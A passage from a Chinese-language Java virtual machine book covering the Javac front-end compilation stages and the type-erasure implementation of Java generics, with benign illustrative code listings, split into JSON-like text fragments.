JavaclassExecuter的使用 9.4 本章小结 第6章至第9章介绍了Class文件格式、类加载及虚拟机执行引擎这几部分内容，这些内容是虚拟机中必不可少的组成部分，了解了虚拟机如何执行程序，才能更好地理解怎样才能写出优秀的代码。 关于虚拟机执行子系统的介绍就到此为止，通过这4章的讲解，我们描绘了一个虚拟机应该是怎样运行Class文件的概念模型的，对于具体到某个虚拟机的实现，为了使实现简单清晰，或者为了更快的运行速度，在虚拟机内部的运作与概念模型可能会有非常大的差异，但从最终的执行结果来看应该是一致的。从第10章开始，我们将把目光从概念模型转到具体实现，去探索虚拟机在语法上和运行性能上，是如何对程序编写做出各种优化的。 第四部分 程序编译与代码优化 ·第10章 前端编译与优化 ·第11章 后端编译与优化 第10章 前端编译与优化 从计算机程序出现的第一天起，对效率的追逐就是程序员天生的坚定信仰，这个过程犹如一场没有终点、永不停歇的F1方程式竞赛，程序员是车手，技术平台则是在赛道上飞驰的赛车。 10.1 概述 在Java技术下谈“编译期”而没有具体上下文语境的话，其实是一句很含糊的表述，因为它可能是指一个前端编译器（叫“编译器的前端”更准确一些）把*.java文件转变成*.class文件的过程；也可能是指Java虚拟机的即时编译器（常称JIT编译器，Just In Time Compiler）运行期把字节码转变成本地机器码的过程；还可能是指使用静态的提前编译器（常称AOT编译器，Ahead Of Time Compiler）直接把程序编译成与目标机器指令集相关的二进制代码的过程。下面笔者列举了这3类编译过程里一些比较有代表性的编译器产品： ·前端编译器：JDK的Javac、Eclipse JDT中的增量式编译器（ECJ） [1] 。 ·即时编译器：HotSpot虚拟机的C1、C2编译器，Graal编译器。 ·提前编译器：JDK的Jaotc、GNU Compiler for the Java（GCJ） [2] 、Excelsior JET [3] 。 这3类过程中最符合普通程序员对Java程序编译认知的应该是第一类，本章标题中的“前端”指的也是这种由前端编译器完成的编译行为。在本章后续的讨论里，笔者提到的全部“编译期”和“编译器”都仅限于第一类编译过程，我们会把第二、三类编译过程留到第11章中去讨论。限制了“编译期”的范围后，我们对于“优化”二字的定义也需要放宽一些，因为Javac这类前端编译器对代码的运行效率几乎没有任何优化措施可言（在JDK 1.3之后，Javac的-O优化参数就不再有意义），哪怕是编译器真的采取了优化措施也不会产生什么实质的效果。因为Java虚拟机设计团队选择把对性能的优化全部集中到运行期的即时编译器中，这样可以让那些不是由Javac产生的Class文件（如JRuby、Groovy等语言的Class文件）也同样能享受到编译器优化措施所带来的性能红利。但是，如果把“优化”的定义放宽，把对开发阶段的优化也计算进来的话，Javac确实是做了许多针对Java语言编码过程的优化措施来降低程序员的编码复杂度、提高编码效率。相当多新生的Java语法特性，都是靠编译器的“语法糖”来实现，而不是依赖字节码或者Java虚拟机的底层改进来支持。我们可以这样认为，Java中即时编译器在运行期的优化过程，支撑了程序执行效率的不断提升；而前端编译器在编译期的优化过程，则是支撑着程序员的编码效率和语言使用者的幸福感的提高。 [1] JDT官方站点：http://www.eclipse.org/jdt/。 [2] GCJ官方站点：http://gcc.gnu.org/java/。 [3] Excelsior JET：https://en.wikipedia.org/wiki/Excelsior_JET。"},
    {"text": "10.2 Javac编译器 分析源码是了解一项技术的实现内幕最彻底的手段，Javac编译器不像HotSpot虚拟机那样使用C++语言（包含少量C语言）实现，它本身就是一个由Java语言编写的程序，这为纯Java的程序员了解它的编译过程带来了很大的便利。 10.2.1 Javac的源码与调试 在JDK 6以前，Javac并不属于标准Java SE API的一部分，它实现代码单独存放在tools.jar中，要在程序中使用的话就必须把这个库放到类路径上。在JDK 6发布时通过了JSR 199编译器API的提案，使得Javac编译器的实现代码晋升成为标准Java类库之一，它的源码就改为放在JDK_SRC_HOME/langtools/src/share/classes/com/sun/tools/javac中 [1] 。到了JDK 9时，整个JDK所有的Java类库都采用模块化进行重构划分，Javac编译器就被挪到了jdk.compiler模块（路径为：JDK_SRC_HOME/src/jdk.compiler/share/classes/com/sun/tools/javac）里面。虽然程序代码的内容基本没有变化，但由于本节的主题是源码解析，不可避免地会涉及大量的路径和包名，这就要选定JDK版本来讨论了，本次笔者将会以JDK 9之前的代码结构来进行讲解。 Javac编译器除了JDK自身的标准类库外，就只引用了JDK_SRC_HOME/langtools/src/share/classes/com/sun/*里面的代码，所以我们的代码编译环境建立时基本无须处理依赖关系，相当简单便捷。以Eclipse IDE作为开发工具为例，先建立一个名为“Compiler_javac”的Java工程，然后把JDK_SRC_HOME/langtools/src/share/classes/com/sun/*目录下的源文件全部复制到工程的源码目录中，如图10-1所示。 图10-1 Eclipse中的Javac工程 导入代码期间，源码文件“AnnotationProxyMaker.java”可能会提示“Access Restriction”，被Eclipse拒绝编译，如图10-2所示。 图10-2 AnnotationProxyMaker被拒绝编译 这是由于Eclipse为了避免开发人员引用非标准Java类库可能导致的兼容性问题，在“JRE System Library”设置中默认包含了一系列的代码访问规则（Access Rules），如果代码中引用了这些访问规则所禁止引用的类，就会提示这个错误。我们可以通过添加一条允许访问JAR包中所有类的访问规则来解决该问题，如图10-3所示。 图10-3 设置访问规则 导入了Javac的源码后，就可以运行com.sun.tools.javac.Main的main()方法来执行编译了，可以使用的参数与命令行中使用的Javac命令没有任何区别，编译的文件与参数在Eclipse的“Debug Configurations”面板中的“Arguments”页签中指定。 《Java虚拟机规范》中严格定义了Class文件格式的各种细节，可是对如何把Java源码编译为Class文件却描述得相当宽松。规范里尽管有专门的一章名为“Compiling for the Java Virtual Machine”，但这章也仅仅是以举例的形式来介绍怎样的Java代码应该被转换为怎样的字节码，并没有使用编译原理中常用的描述工具（如文法、生成式等）来对Java源码编译过程加以约束。这是给了Java前端编译器较大的实现灵活性，但也导致Class文件编译过程在某种程度上是与具体的JDK或编译器实现相关的，譬如在一些极端情况下，可能会出现某些代码在Javac编译器可以编译，但是ECJ编译器就不可以编译的问题（反过来也有可能，后文中将会给出一些这样的例子）。 从Javac代码的总体结构来看，编译过程大致可以分为1个准备过程和3个处理过程，它们分别如下所示。 1）准备过程：初始化插入式注解处理器。 2）解析与填充符号表过程，包括： ·词法、语法分析。将源代码的字符流转变为标记集合，构造出抽象语法树。 ·填充符号表。产生符号地址和符号信息。 3）插入式注解处理器的注解处理过程：插入式注解处理器的执行阶段，本章的实战部分会设计一个插入式注解处理器来影响Javac的编译行为。 4）分析与字节码生成过程，包括： ·标注检查。对语法的静态信息进行检查。 ·数据流及控制流分析。对程序动态运行过程进行检查。 ·解语法糖。将简化代码编写的语法糖还原为原有的形式。 ·字节码生成。将前面各个步骤所生成的信息转化成字节码。 上述3个处理过程里，执行插入式注解时又可能会产生新的符号，如果有新的符号产生，就必须转回到之前的解析、填充符号表的过程中重新处理这些新符号，从总体来看，三者之间的关系与交互顺序如图10-4所示。 图10-4 Javac的编译过程 [2] 我们可以把上述处理过程对应到代码中，Javac编译动作的入口是com.sun.tools.javac.main.JavaCompiler类，上述3个过程的代码逻辑集中在这个类的compile()和compile2()方法里，其中主体代码如图10-5所示，整个编译过程主要的处理由图中标注的8个方法来完成。 图10-5 Javac编译过程的主体代码 接下来，我们将对照Javac的源代码，逐项讲解上述过程。 [1] 如何获取OpenJDK源码请参考本书第1章的相关内容。 [2] 图片来源：http://openjdk.java.net/groups/compiler/doc/compilation-overview/index.html，笔者做了汉化处理。"},
    {"text": "10.2.2 解析与填充符号表 解析过程由图10-5中的parseFiles()方法（图10-5中的过程1.1）来完成，解析过程包括了经典程序编译原理中的词法分析和语法分析两个步骤。 1.词法、语法分析 词法分析是将源代码的字符流转变为标记（Token）集合的过程，单个字符是程序编写时的最小元素，但标记才是编译时的最小元素。关键字、变量名、字面量、运算符都可以作为标记，如“int a=b+2”这句代码中就包含了6个标记，分别是int、a、=、b、+、2，虽然关键字int由3个字符构成，但是它只是一个独立的标记，不可以再拆分。在Javac的源码中，词法分析过程由com.sun.tools.javac.parser.Scanner类来实现。 语法分析是根据标记序列构造抽象语法树的过程，抽象语法树（Abstract Syntax Tree，AST）是一种用来描述程序代码语法结构的树形表示方式，抽象语法树的每一个节点都代表着程序代码中的一个语法结构（Syntax Construct），例如包、类型、修饰符、运算符、接口、返回值甚至连代码注释等都可以是一种特定的语法结构。 图10-6是Eclipse AST View插件分析出来的某段代码的抽象语法树视图，读者可以通过这个插件工具生成的可视化界面对抽象语法树有一个直观的认识。在Javac的源码中，语法分析过程由com.sun.tools.javac.parser.Parser类实现，这个阶段产出的抽象语法树是以com.sun.tools.javac.tree.JCTree类表示的。 经过词法和语法分析生成语法树以后，编译器就不会再对源码字符流进行操作了，后续的操作都建立在抽象语法树之上。 图10-6 抽象语法树结构视图 2.填充符号表 完成了语法分析和词法分析之后，下一个阶段是对符号表进行填充的过程，也就是图10-5中enterTrees()方法（图10-5中注释的过程1.2）要做的事情。符号表（Symbol Table）是由一组符号地址和符号信息构成的数据结构，读者可以把它类比想象成哈希表中键值对的存储形式（实际上符号表不一定是哈希表实现，可以是有序符号表、树状符号表、栈结构符号表等各种形式）。符号表中所登记的信息在编译的不同阶段都要被用到。譬如在语义分析的过程中，符号表所登记的内容将用于语义检查（如检查一个名字的使用和原先的声明是否一致）和产生中间代码，在目标代码生成阶段，当对符号名进行地址分配时，符号表是地址分配的直接依据。 在Javac源代码中，填充符号表的过程由com.sun.tools.javac.comp.Enter类实现，该过程的产出物是一个待处理列表，其中包含了每一个编译单元的抽象语法树的顶级节点，以及package-info.java（如果存在的话）的顶级节点。 10.2.3 注解处理器 JDK 5之后，Java语言提供了对注解（Annotations）的支持，注解在设计上原本是与普通的Java代码一样，都只会在程序运行期间发挥作用的。但在JDK 6中又提出并通过了JSR-269提案 [1] ，该提案设计了一组被称为“插入式注解处理器”的标准API，可以提前至编译期对代码中的特定注解进行处理，从而影响到前端编译器的工作过程。我们可以把插入式注解处理器看作是一组编译器的插件，当这些插件工作时，允许读取、修改、添加抽象语法树中的任意元素。如果这些插件在处理注解期间对语法树进行过修改，编译器将回到解析及填充符号表的过程重新处理，直到所有插入式注解处理器都没有再对语法树进行修改为止，每一次循环过程称为一个轮次（Round），这也就对应着图10-4的那个回环过程。 有了编译器注解处理的标准API后，程序员的代码才有可能干涉编译器的行为，由于语法树中的任意元素，甚至包括代码注释都可以在插件中被访问到，所以通过插入式注解处理器实现的插件在功能上有很大的发挥空间。只要有足够的创意，程序员能使用插入式注解处理器来实现许多原本只能在编码中由人工完成的事情。譬如Java著名的编码效率工具Lombok [2] ，它可以通过注解来实现自动产生getter/setter方法、进行空置检查、生成受查异常表、产生equals()和hashCode()方法，等等，帮助开发人员消除Java的冗长代码，这些都是依赖插入式注解处理器来实现的，本章最后会设计一个如何使用插入式注解处理器的简单实战。 在Javac源码中，插入式注解处理器的初始化过程是在initPorcessAnnotations()方法中完成的，而它的执行过程则是在processAnnotations()方法中完成。这个方法会判断是否还有新的注解处理器需要执行，如果有的话，通过com.sun.tools.javac.processing.JavacProcessing-Environment类的doProcessing()方法来生成一个新的JavaCompiler对象，对编译的后续步骤进行处理。 [1] JSR-269：Pluggable Annotations Processing API（插入式注解处理API）。 [2] 主页地址：https://projectlombok.org/。"},
    {"text": "10.2.4 语义分析与字节码生成 经过语法分析之后，编译器获得了程序代码的抽象语法树表示，抽象语法树能够表示一个结构正确的源程序，但无法保证源程序的语义是符合逻辑的。"},
    {"text": "举个简单的例子，假设有如下3个变量定义语句： int a = 1; boolean b = false; char c = 2; 后续可能出现的赋值运算： int d = a + c; int d = b + c; char d = a + c; 后续代码中如果出现了如上3种赋值运算的话，那它们都能构成结构正确的抽象语法树，但是只有第一种的写法在语义上是没有错误的，能够通过检查和编译。"},
    {"text": "1.标注检查 Javac在编译过程中，语义分析过程可分为标注检查和数据及控制流分析两个步骤，分别由图10-5的attribute()和flow()方法（分别对应图10-5中的过程3.1和过程3.2）完成。"},
    {"text": "标注检查步骤要检查的内容包括诸如变量使用前是否已被声明、变量与赋值之间的数据类型是否能够匹配，等等，刚才3个变量定义的例子就属于标注检查的处理范畴。"},
    {"text": "在标注检查中，还会顺便进行一个称为常量折叠（Constant Folding）的代码优化，这是Javac编译器会对源代码做的极少量优化措施之一（代码优化几乎都在即时编译器中进行）。"},
    {"text": "如果我们在Java代码中写下如下所示的变量定义： 图10-7 常量折叠 int a = 1 + 2; 则在抽象语法树上仍然能看到字面量“1”“2”和操作符“+”号，但是在经过常量折叠优化之后，它们将会被折叠为字面量“3”，如图10-7所示，这个插入式表达式（Infix Expression）的值已经在语法树上标注出来了（ConstantExpressionValue：3）。 由于编译期间进行了常量折叠，所以在代码里面定义“a=1+2”比起直接定义“a=3”来，并不会增加程序运行期哪怕仅仅一个处理器时钟周期的处理工作量。"},
    {"text": "2.数据及控制流分析 数据流分析和控制流分析是对程序上下文逻辑更进一步的验证，它可以检查出诸如程序局部变量在使用前是否有赋值、方法的每条路径是否都有返回值、是否所有的受查异常都被正确处理了等问题。 编译时期的数据及控制流分析与类加载时的数据及控制流分析的目的基本上可以看作是一致的，但校验范围会有所区别，有一些校验项只有在编译期或运行期才能进行。"},
    {"text": "代码清单10-1 final语义校验 // 方法一带有final修饰 public void foo(final int arg) { final int var = 0; // do something } // 方法二没有final修饰 public void foo(int arg) { int var = 0; // do something } 在这两个foo()方法中，一个方法的参数和局部变量定义使用了final修饰符，另外一个则没有，在代码编写时程序肯定会受到final修饰符的影响，不能再改变arg和var变量的值，但是如果观察这两段代码编译出来的字节码，会发现它们是没有任何一点区别的，每条指令，甚至每个字节都一模一样。"},
    {"text": "通过第6章对Class文件结构的讲解我们已经知道，局部变量与类的字段（实例变量、类变量）的存储是有显著差别的，局部变量在常量池中并没有CONSTANT_Fieldref_info的符号引用，自然就不可能存储有访问标志（access_flags）的信息，甚至可能连变量名称都不一定会被保留下来（这取决于编译时的编译器的参数选项），自然在Class文件中就不可能知道一个局部变量是不是被声明为final了。 因此，可以肯定地推断出把局部变量声明为final，对运行期是完全没有影响的，变量的不变性仅仅由Javac编译器在编译期间来保障，这就是一个只能在编译期而不能在运行期中检查的例子。"},
    {"text": "在Javac的源码中，数据及控制流分析的入口是图10-5中的flow()方法（图10-5中的过程3.2），具体操作由com.sun.tools.javac.comp.Flow类来完成。"},
    {"text": "3.解语法糖 语法糖（Syntactic Sugar），也称糖衣语法，是由英国计算机科学家Peter J.Landin发明的一种编程术语，指的是在计算机语言中添加的某种语法，这种语法对语言的编译结果和功能并没有实际影响，但是却能更方便程序员使用该语言。 通常来说使用语法糖能够减少代码量、增加程序的可读性，从而减少程序代码出错的机会。"},
    {"text": "Java在现代编程语言之中已经属于“低糖语言”（相对于C#及许多其他Java虚拟机语言来说），尤其是JDK 5之前的Java。 “低糖”的语法让Java程序实现相同功能的代码量往往高于其他语言，通俗地说就是会显得比较“啰嗦”，这也是Java语言一直被质疑是否已经“落后”了的一个浮于表面的理由。 Java中最常见的语法糖包括了前面提到过的泛型（其他语言中泛型并不一定都是语法糖实现，如C#的泛型就是直接由CLR支持的）、变长参数、自动装箱拆箱，等等，Java虚拟机运行时并不直接支持这些语法，它们在编译阶段被还原回原始的基础语法结构，这个过程就称为解语法糖。"},
    {"text": "在Javac的源码中，解语法糖的过程由desugar()方法触发，在com.sun.tools.javac.comp.TransTypes类和com.sun.tools.javac.comp.Lower类中完成。"},
    {"text": "4.字节码生成 字节码生成是Javac编译过程的最后一个阶段，在Javac源码里面由com.sun.tools.javac.jvm.Gen类来完成。 字节码生成阶段不仅仅是把前面各个步骤所生成的信息（语法树、符号表）转化成字节码指令写到磁盘中，编译器还进行了少量的代码添加和转换工作。"},
    {"text": "请注意这里的实例构造器并不等同于默认构造函数，如果用户代码中没有提供任何构造函数，那编译器将会添加一个没有参数的、可访问性（public、protected、private或<package>）与当前类型一致的默认构造函数，这个工作在填充符号表阶段中就已经完成。"},
    {"text": "<init>()和<clinit>()这两个构造器的产生实际上是一种代码收敛的过程，编译器会把语句块（对于实例构造器而言是“{}”块，对于类构造器而言是“static{}”块）、变量初始化（实例变量和类变量）、调用父类的实例构造器（仅仅是实例构造器，<clinit>()方法中无须调用父类的<clinit>()方法，Java虚拟机会自动保证父类构造器的正确执行，但在<clinit>()方法中经常会生成调用java.lang.Object的<init>()方法的代码）等操作收敛到<init>()和<clinit>()方法之中，并且保证无论源码中出现的顺序如何，都一定是按先执行父类的实例构造器，然后初始化变量，最后执行语句块的顺序进行，上面所述的动作由Gen::normalizeDefs()方法来实现。"},
    {"text": "除了生成构造器以外，还有其他的一些代码替换工作用于优化程序某些逻辑的实现方式，如把字符串的加操作替换为StringBuffer或StringBuilder（取决于目标代码的版本是否大于或等于JDK 5）的append()操作，等等。"},
    {"text": "完成了对语法树的遍历和调整之后，就会把填充了所有所需信息的符号表交到com.sun.tools.javac.jvm.ClassWriter类手上，由这个类的writeClass()方法输出字节码，生成最终的Class文件，到此，整个编译过程宣告结束。"},
    {"text": "10.3 Java语法糖的味道 几乎所有的编程语言都或多或少提供过一些语法糖来方便程序员的代码开发，这些语法糖虽然不会提供实质性的功能改进，但是它们或能提高效率，或能提升语法的严谨性，或能减少编码出错的机会。现在也有一种观点认为语法糖并不一定都是有益的，大量添加和使用含糖的语法，容易让程序员产生依赖，无法看清语法糖的糖衣背后，程序代码的真实面目。 总而言之，语法糖可以看作是前端编译器实现的一些“小把戏”，这些“小把戏”可能会使效率得到“大提升”，但我们也应该去了解这些“小把戏”背后的真实面貌，那样才能利用好它们，而不是被它们所迷惑。"},
    {"text": "10.3.1 泛型 泛型的本质是参数化类型（Parameterized Type）或者参数化多态（Parametric Polymorphism）的应用，即可以将操作的数据类型指定为方法签名中的一种特殊参数，这种参数类型能够用在类、接口和方法的创建中，分别构成泛型类、泛型接口和泛型方法。"},
    {"text": "在2004年，Java和C#两门语言于同一年更新了一个重要的大版本，即Java 5.0和C#2.0，在这个大版本中，两门语言又不约而同地各自添加了泛型的语法特性。"},
    {"text": "本来Java和C#天生就存在着比较和竞争，泛型这个两门语言在同一年、同一个功能上做出的不同选择，自然免不了被大家对比审视一番，其结论是Java的泛型直到今天依然作为Java语言不如C#语言好用的“铁证”被众人嘲讽。 笔者在本节介绍Java泛型时，并不会去尝试推翻这个结论，相反甚至还会去举例来揭示Java泛型的缺陷所在，但同时也必须向不了解Java泛型机制和历史的读者说清楚，Java选择这样的泛型实现，是出于当时语言现状的权衡，而不是语言先进性或者设计者水平不如C#之类的原因。 1.Java与C#的泛型 Java选择的泛型实现方式叫作“类型擦除式泛型”（Type Erasure Generics），而C#选择的泛型实现方式是“具现化式泛型”（Reified Generics）。 具现化和特化、偏特化这些名词最初都是源于C++模版语法中的概念，如果读者本身不使用C++的话，在本节的阅读中可不必太纠结其概念定义，把它当一个技术名词即可，只需要知道C#里面泛型无论在程序源码里面、编译后的中间语言表示（Intermediate Language，这时候泛型是一个占位符）里面，抑或是运行期的CLR里面都是切实存在的，List<int>与List<string>就是两个不同的类型，它们由系统在运行期生成，有着自己独立的虚方法表和类型数据。 而Java语言中的泛型则不同，它只在程序源码中存在，在编译后的字节码文件中，全部泛型都被替换为原来的裸类型（Raw Type，稍后我们会讲解裸类型具体是什么）了，并且在相应的地方插入了强制转型代码，因此对于运行期的Java语言来说，ArrayList<int>与ArrayList<String>其实是同一个类型，由此读者可以想象“类型擦除”这个名字的含义和来源，这也是为什么笔者会把Java泛型安排在语法糖里介绍的原因。"},
    {"text": "Java的泛型确实在实际使用中会有一些限制，如果读者是一名C#开发人员，可能很难想象代码清单10-2中的Java代码都是不合法的。 代码清单10-2 Java中不支持的泛型用法 public class TypeErasureGenerics<E> { public void doSomething(Object item) { if (item instanceof E) { // 不合法，无法对泛型进行实例判断 ... } E newItem = new E(); // 不合法，无法使用泛型创建对象 E[] itemArray = new E[10]; // 不合法，无法使用泛型创建数组 } } 上面这些是Java泛型在编码阶段产生的不良影响，如果说这种使用层次上的差别还可以通过多写几行代码、方法中多加一两个类型参数来解决的话，性能上的差距则是难以用编码弥补的。 C#2.0引入了泛型之后，带来的显著优势之一便是对比起Java在执行性能上的提高，因为在使用平台提供的容器类型（如List<T>，Dictionary<TKey，TValue>）时，无须像Java里那样不厌其烦地拆箱和装箱 [1] ，如果在Java中要避免这种损失，就必须构造一个与数据类型相关的容器类（譬如IntFloatHashMap这样的容器）。"},
    {"text": "Java的类型擦除式泛型无论在使用效果上还是运行效率上，几乎是全面落后于C#的具现化式泛型，而它的唯一优势是在于实现这种泛型的影响范围上：擦除式泛型的实现几乎只需要在Javac编译器上做出改进即可，不需要改动字节码、不需要改动Java虚拟机，也保证了以前没有使用泛型的库可以直接运行在Java 5.0之上。"},
    {"text": "Martin Odersky（后来Scala语言的缔造者）当时是德国卡尔斯鲁厄大学编程理论的教授，他想设计一门能够支持函数式编程的程序语言，又不想从头把编程语言的所有功能都再做一遍，所以就注意到了刚刚发布一年的Java，并在它上面实现了函数式编程的3大特性：泛型、高阶函数和模式匹配，形成了Scala语言的前身Pizza语言 [2] 。 后来，Java的开发团队找到了Martin Odersky，表示对Pizza语言的泛型功能很感兴趣，他们就一起建立了一个叫作“Generic Java”的新项目，目标是把Pizza语言的泛型单独拎出来移植到Java语言上，其最终成果就是Java 5.0中的那个泛型实现 [3] ，但是移植的过程并不是一开始就朝着类型擦除式泛型去的，事实上Pizza语言中的泛型更接近于现在C#的泛型。 Martin Odersky自己在采访自述 [4] 中提到，进行Generic Java项目的过程中他受到了重重约束，甚至多次让他感到沮丧，最紧、最难的约束来源于被迫要完全向后兼容无泛型Java，即保证“二进制向后兼容性”（Binary Backwards Compatibility）。 二进制向后兼容性是明确写入《Java语言规范》中的对Java使用者的严肃承诺，譬如一个在JDK 1.2中编译出来的Class文件，必须保证能够在JDK 12乃至以后的版本中也能够正常运行 [5] 。 这样，既然Java到1.4.2版之前都没有支持过泛型，而到Java 5.0突然要支持泛型了，还要让以前编译的程序在新版本的虚拟机还能正常运行，就意味着以前没有的限制不能突然间冒出来。 举个例子，在没有泛型的时代，由于Java中的数组是支持协变（Covariant）的 [6] ，对应的集合类也可以存入不同类型的元素，类似于代码清单10-3这样的代码尽管不提倡，但是完全可以正常编译成Class文件。 代码清单10-3 以下代码可正常编译为Class Object[] array = new String[10]; array[0] = 10; // 编译期不会有问题，运行时会报错 ArrayList things = new ArrayList(); things.add(Integer.valueOf(10)); //编译、运行时都不会报错 things.add(\"hello world\"); 为了保证这些编译出来的Class文件可以在Java 5.0引入泛型之后继续运行，设计者面前大体上有两条路可以选择： 1）需要泛型化的类型（主要是容器类型），以前有的就保持不变，然后平行地加一套泛型化版本的新类型。 2）直接把已有的类型泛型化，即让所有需要泛型化的已有类型都原地泛型化，不添加任何平行于已有类型的泛型版。"},
    {"text": "在这个分叉路口，C#走了第一条路，添加了一组System.Collections.Generic的新容器，以前的System.Collections以及System.Collections.Specialized容器类型继续存在。 C#的开发人员很快就接受了新的容器，倒也没出现过什么不适应的问题，唯一的不适大概是许多.NET自身的标准库已经把老容器类型当作方法的返回值或者参数使用，这些方法至今还保持着原来的老样子。"},
    {"text": "但如果相同的选择出现在Java中就很可能不会是相同的结果了，要知道当时.NET才问世两年，而Java已经有快十年的历史了，再加上各自流行程度的不同，两者遗留代码的规模根本不在同一个数量级上。"},
    {"text": "而且更大的问题是Java并不是没有做过第一条路那样的技术决策，在JDK 1.2时，遗留代码规模尚小，Java就引入过新的集合类，并且保留了旧集合类不动。"},
    {"text": "这导致了直到现在标准类库中还有Vector（老）和ArrayList（新）、有Hashtable（老）和HashMap（新）等两套容器代码并存，如果当时再摆弄出像Vector（老）、ArrayList（新）、Vector<T>（老但有泛型）、ArrayList<T>（新且有泛型）这样的容器集合，可能叫骂声会比今天听到的更响更大。"},
    {"text": "但第二条路也并不意味着一定只能使用类型擦除来实现，如果当时有足够的时间好好设计和实现，是完全有可能做出更好的泛型系统的，否则也不会有今天的Valhalla项目来还以前泛型偷懒留下的技术债了。 下面我们就来看看当时做的类型擦除式泛型的实现时到底哪里偷懒了，又带来了怎样的缺陷。"},
    {"text": "要让所有需要泛型化的已有类型，譬如ArrayList，原地泛型化后变成了ArrayList<T>，而且保证以前直接用ArrayList的代码在泛型新版本里必须还能继续用这同一个容器，这就必须让所有泛型化的实例类型，譬如ArrayList<Integer>、ArrayList<String>这些全部自动成为ArrayList的子类型才能可以，否则类型转换就是不安全的。"},
    {"text": "由此就引出了“裸类型”（Raw Type）的概念，裸类型应被视为所有该类型泛型化实例的共同父类型（Super Type），只有这样，像代码清单10-4中的赋值才是被系统允许的从子类到父类的安全转型。"},
    {"text": "代码清单10-4 裸类型赋值 ArrayList<Integer> ilist = new ArrayList<Integer>(); ArrayList<String> slist = new ArrayList<String>(); ArrayList list; // 裸类型 list = ilist; list = slist; 接下来的问题是该如何实现裸类型。 这里又有了两种选择：一种是在运行期由Java虚拟机来自动地、真实地构造出ArrayList<Integer>这样的类型，并且自动实现从ArrayList<Integer>派生自ArrayList的继承关系来满足裸类型的定义； 另外一种是索性简单粗暴地直接在编译时把ArrayList<Integer>还原回ArrayList，只在元素访问、修改时自动插入一些强制类型转换和检查指令，这样看起来也是能满足需要，这两个选择的最终结果大家已经都知道了。"},
    {"text": "代码清单10-5 泛型擦除前的例子 public static void main(String[] args) { Map<String, String> map = new HashMap<String, String>(); map.put(\"hello\", \"你好\"); map.put(\"how are you?\", \"吃了没？ \"); System.out.println(map.get(\"hello\")); System.out.println(map.get(\"how are you?\")); } 把这段Java代码编译成Class文件，然后再用字节码反编译工具进行反编译后，将会发现泛型都不见了，程序又变回了Java泛型出现之前的写法，泛型类型都变回了裸类型，只在元素访问时插入了从Object到String的强制转型代码，如代码清单10-6所示。 代码清单10-6 泛型擦除后的例子 public static void main(String[] args) { Map map = new HashMap(); map.put(\"hello\", \"你好\"); map.put(\"how are you?\", \"吃了没？ \"); System.out.println((String) map.get(\"hello\")); System.out.println((String) map.get(\"how are you?\")); } 类型擦除带来的缺陷前面已经提到过一些，为了系统性地讲述，笔者在此再举3个例子，把前面与C#对比时简要提及的擦除式泛型的缺陷做更具体的说明。 首先，使用擦除法实现泛型直接导致了对原始类型（Primitive Types）数据的支持又成了新的麻烦，譬如将代码清单10-2稍微修改一下，变成代码清单10-7这个样子。 代码清单10-7 原始类型的泛型（目前的Java不支持） ArrayList<int> ilist = new ArrayList<int>(); ArrayList<long> llist = new ArrayList<long>(); ArrayList list; list = ilist; list = llist; 这种情况下，一旦把泛型信息擦除后，到要插入强制转型代码的地方就没办法往下做了，因为不支持int、long与Object之间的强制转型。 当时Java给出的解决方案一如既往的简单粗暴：既然没法转换那就索性别支持原生类型的泛型了吧，你们都用ArrayList<Integer>、ArrayList<Long>，反正都做了自动的强制类型转换，遇到原生类型时把装箱、拆箱也自动做了得了。"},
    {"text": "第二，运行期无法取到泛型类型信息，会让一些代码变得相当啰嗦，譬如代码清单10-2中罗列的几种Java不支持的泛型用法，都是由于运行期Java虚拟机无法取得泛型类型而导致的。"},
    {"text": "像代码清单10-8这样，我们去写一个泛型版本的从List到数组的转换方法，由于不能从List中取得参数化类型T，所以不得不从一个额外参数中再传入一个数组的组件类型进去，实属无奈。 代码清单10-8 不得不加入的类型参数 public static <T> T[] convert(List<T> list, Class<T> componentType) { T[] array = (T[])Array.newInstance(componentType, list.size()); ... } 最后，笔者认为通过擦除法来实现泛型，还丧失了一些面向对象思想应有的优雅，带来了一些模棱两可的模糊状况，例如代码清单10-9的例子。 代码清单10-9 当泛型遇见重载1 public class GenericTypes { public static void method(List<String> list) { System.out.println(\"invoke method(List<String> list)\"); } public static void method(List<Integer> list) { System.out.println(\"invoke method(List<Integer> list)\"); } } 请读者思考一下，上面这段代码是否正确，能否编译执行？ 也许你已经有了答案，这段代码是不能被编译的，因为参数List<Integer>和List<String>编译之后都被擦除了，变成了同一种的裸类型List，类型擦除导致这两个方法的特征签名变得一模一样。"},
    {"text": "代码清单10-10 当泛型遇见重载2 public class GenericTypes { public static String method(List<String> list) { System.out.println(\"invoke method(List<String> list)\"); return \"\"; } public static int method(List<Integer> list) { System.out.println(\"invoke method(List<Integer> list)\"); return 1; } public static void main(String[] args) { method(new ArrayList<String>()); method(new ArrayList<Integer>()); } } 执行结果： invoke method(List<String> list) invoke method(List<Integer> list) 代码清单10-9与代码清单10-10的差别，是两个method()方法添加了不同的返回值，由于这两个返回值的加入，方法重载居然成功了，即这段代码可以被编译和执行 [7] 了。"},
    {"text": "代码清单10-10中的重载当然不是根据返回值来确定的，之所以这次能编译和执行成功，是因为两个method()方法加入了不同的返回值后才能共存在一个Class文件之中。 第6章介绍Class文件方法表（method_info）的数据结构时曾经提到过，方法重载要求方法具备不同的特征签名，返回值并不包含在方法的特征签名中，所以返回值不参与重载选择，但是在Class文件格式之中，只要描述符不是完全一致的两个方法就可以共存。 也就是说两个方法如果有相同的名称和特征签名，但返回值不同，那它们也是可以合法地共存于一个Class文件中的。"},
    {"text": "由于Java泛型的引入，各种场景（虚拟机解析、反射等）下的方法调用都可能对原有的基础产生影响并带来新的需求，如在泛型类中如何获取传入的参数化类型等。"},
    {"text": "所以JCP组织对《Java虚拟机规范》做出了相应的修改，引入了诸如Signature、LocalVariableTypeTable等新的属性用于解决伴随泛型而来的参数类型的识别问题，Signature是其中最重要的一项属性，它的作用就是存储一个方法在字节码层面的特征签名 [8] ，这个属性中保存的参数类型并不是原生类型，而是包括了参数化类型的信息。 修改后的虚拟机规范 [9] 要求所有能识别49.0以上版本的Class文件的虚拟机都要能正确地识别Signature参数。"},
